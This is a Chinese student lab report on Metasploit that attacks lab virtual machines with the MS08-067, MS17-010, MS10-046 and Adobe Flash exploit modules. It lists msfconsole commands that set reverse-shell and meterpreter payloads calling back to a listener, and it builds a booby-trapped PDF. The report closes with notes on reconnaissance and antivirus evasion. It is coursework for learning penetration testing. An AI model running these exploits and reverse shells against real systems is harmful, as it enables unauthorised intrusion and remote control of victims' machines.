一、实验要求

了解metasploit六大模块的功能,并能从从各模块中找出需要的功能并实现攻击。

二、实验目标

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

  • 1.1一个主动攻击实践(成功,重复的可能较高)
  • 1.2 一个针对浏览器的攻击(成功,重复的可能低)
  • 1.3 一个针对客户端的攻击(成功,重复的可能低)
  • 1.4 成功应用任何一个辅助模块(成功,重复的可能高)

三、实验过程

1.准备工作

本次实验主要需要用到metasploit,而在前面的实验中我们已经完成安装了。其次是被攻击的靶机,这里我安装了windows xp以及不带service pack的win 7作为靶机。

2.1主动攻击实践(利用ms08_067漏洞)

MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。

攻击机:kalilinux。靶机:windows XP Professional

进入msf控制台,使用指令【 search ms08_067】指令查询一下针对该漏洞能够运用的攻击模块

metaspliot再打开就报错_客户端

 输入其中提供的攻击模块。【use exploit/windows/smb/ms08_067_netapi】 进入该攻击模块,使用【show payloads】查看能够使用的攻击载荷。

metaspliot再打开就报错_用户名_02

然后根据上图,为获取靶机的shell,所以利用set payload generic/shell_reverse_tcp

然后输入show options,查看配置信息,知道我们需要配置RHOST,LHOST,LPORT,target

metaspliot再打开就报错_配置信息_03

输入set RHOST 192.168.241.138

set LHOST 192.168.241.134

set LPORT 4307

进行配置

  • 然后我们再次利用show options,查看配置信息

metaspliot再打开就报错_metaspliot再打开就报错_04

  • 然后exploit进行监听

metaspliot再打开就报错_metaspliot再打开就报错_05

2.2MS17_010漏洞渗透攻击实践

先挂上攻击成功的截图

metaspliot再打开就报错_metaspliot再打开就报错_06

大概的攻击流程如下

set payload xxx #设置payload

set RHOST xxx #设置目标ip

set LHOST xxx #设置监听ip

set smbuser xxx #设置用户名,靶机上的用户

set smbpass xxx #设置登录密码

exploit

这里用的是ms17_010_psexec模块,ms17_01还有ms17_010_eternalblue版本,当时是因为看到ms17_010_psexec模块比较新所以用它。但是这个模块还需要输入用户名密码来实现攻击,显得不是很好用。然后查了百度说是有些ms17_010_eternalblue模块可以不用输入用户名和密码来攻击,然后自己亲测了以下,从下图看出应该是没法攻击我这个系统,输了账号密码也不行,看来新版本还是靠谱一点。

metaspliot再打开就报错_客户端_07

用了这个漏洞感觉没想象的那么强大,还要输用户名密码,从另一个角度看来,平时用电脑啥的多设置一个密码真是好习惯。这个模块提供了一个类似字典暴力破的东西,可以通过管道输入一堆用户名用于测试来打通连接。所以类似“Administrator+空密码”这类用户就得遭殃了。

如果要更好的利用这个漏洞,可以利用smb_ms17_010辅助模块来扫描可以攻击的ip,这个辅助模块在一定程度上弥补了需要用户名密码的缺陷。

3.针对浏览器的攻击

ms10_046漏洞攻击

首先输入search ms10_046查找漏洞

metaspliot再打开就报错_配置信息_08

  • 由于我们要对浏览器进行攻击,所以我们输入use use exploit/windows/browser/ms10_046_shortcut_icon_
  • 然后我们输入show payloads,查看载荷进行选择,这里我仍用实验一中的载荷set payload generic/shell_reverse_tcp
  • 我们利用show options查询需要配置的有,LPORT,LHOST,SRVHOST
  • 输入set SRVHOST 192.168.241.134
  • set LHOST 192.168.241.134
  • set LPORT 4307

进行配置

  • 再次查看配置信息

metaspliot再打开就报错_配置信息_09

然后输入exploit生成URL,并在windows端访问该URL,kali端如图

metaspliot再打开就报错_用户名_10

输入sessions,可看到一个ID为1的连接,然后输入session -i 1,接入ID为1的连接,输入shell,获取成功。
如图:

metaspliot再打开就报错_配置信息_11

4.针对客户端的攻击

Adobe攻击

启动msf输入【search adobe】查询针对adobe攻击模块

metaspliot再打开就报错_客户端_12

  • 然后进行选择,我选择的是use windows/fileformat/adobe_flashplayer_button
  • 然后set payload windows/meterpreter/reverse_tcp,设置所用荷载,利用show options查看所要配置的信息

metaspliot再打开就报错_用户名_13

  • 输入如下代码,对LHOST,LPORT,FILENAME进行配置

set LHOST 192.168.241.134

set LPORT 4307

set FILENAME 20174307.pdf

  • 输入exploit,生成201743070.pdf文件
  • 输入use exploit/multi/handler,进入监听,并设置监听端口,主机号

现回连成功,输入ipconfig确认是否回连正确

metaspliot再打开就报错_客户端_14

 

 

4.成功应用任何一个辅助模块

scanner/portscan/tcp(唯一)

 

首先利用show auxiliary,查看辅助模块

metaspliot再打开就报错_配置信息_15

  • 我选择的是scanner/dns/dns_amp,扫描dns
  • 输入show options,查看配置

metaspliot再打开就报错_配置信息_16

输入exploit进行监听

metaspliot再打开就报错_配置信息_17

四、基础问题回答

4.1用自己的话解释什么是exploit,payload,encode

  • exploit是利用,即漏洞利用,利用漏洞对目标进行攻击。
  • payload是载荷,指进行攻击时攻击者想要执行的。
  • encode是编码,用来对恶意代码进行伪装消除坏字符等。

4.2离实战还缺些什么技术或步骤

  • 信息搜集,实验我们知道被攻击机的系统版本,但要实战我们并不知道。
  • 伪装和免杀,要后门程序悄无声息的放入被攻击机。

五、实践总结

通过本次实验我对自己的电脑安全产生了很大的怀疑,我有好多补丁因为一些原因都没有安装,说不定哪天碰巧碰到个没安装相应补丁的漏洞,那只怕我的电脑就凉凉了。本次实验还是遇到了一些问题,在针对IE浏览器的攻击时出现了挫折,但好在经过不断尝试,放弃了对IE8.0版本的攻击。特别是本次针对客户端攻击的试验中出现了回连不成功的情况,在反复重装了数个xp后,我还是放弃了这一步,但其中原因还是值得深究。随着课程的学习,我的网络安全意识提高了不少,本次至少学到了补丁的及时安装,尽可能避免病毒、木马的入侵。